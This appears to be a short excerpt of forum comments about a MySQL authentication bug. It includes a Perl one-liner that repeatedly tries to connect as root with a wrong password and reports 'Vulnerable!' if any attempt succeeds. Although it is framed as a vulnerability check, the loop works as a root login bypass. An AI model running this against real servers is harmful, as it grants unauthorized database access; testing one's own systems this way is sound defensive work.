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Try to connect to MySQL as root with a made-up password several hundred times. If you successfully connect, the bug is present and you know how it was compiled.

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Hehe, ok ok.

where is the perl one-liner :P?

perl -e 'use DBI; for($i=0;$i<4096;$i++){DBI->connect("dbi:mysql:", "root", "nope", {PrintError=>0}) and die "Vulnerable!";}'

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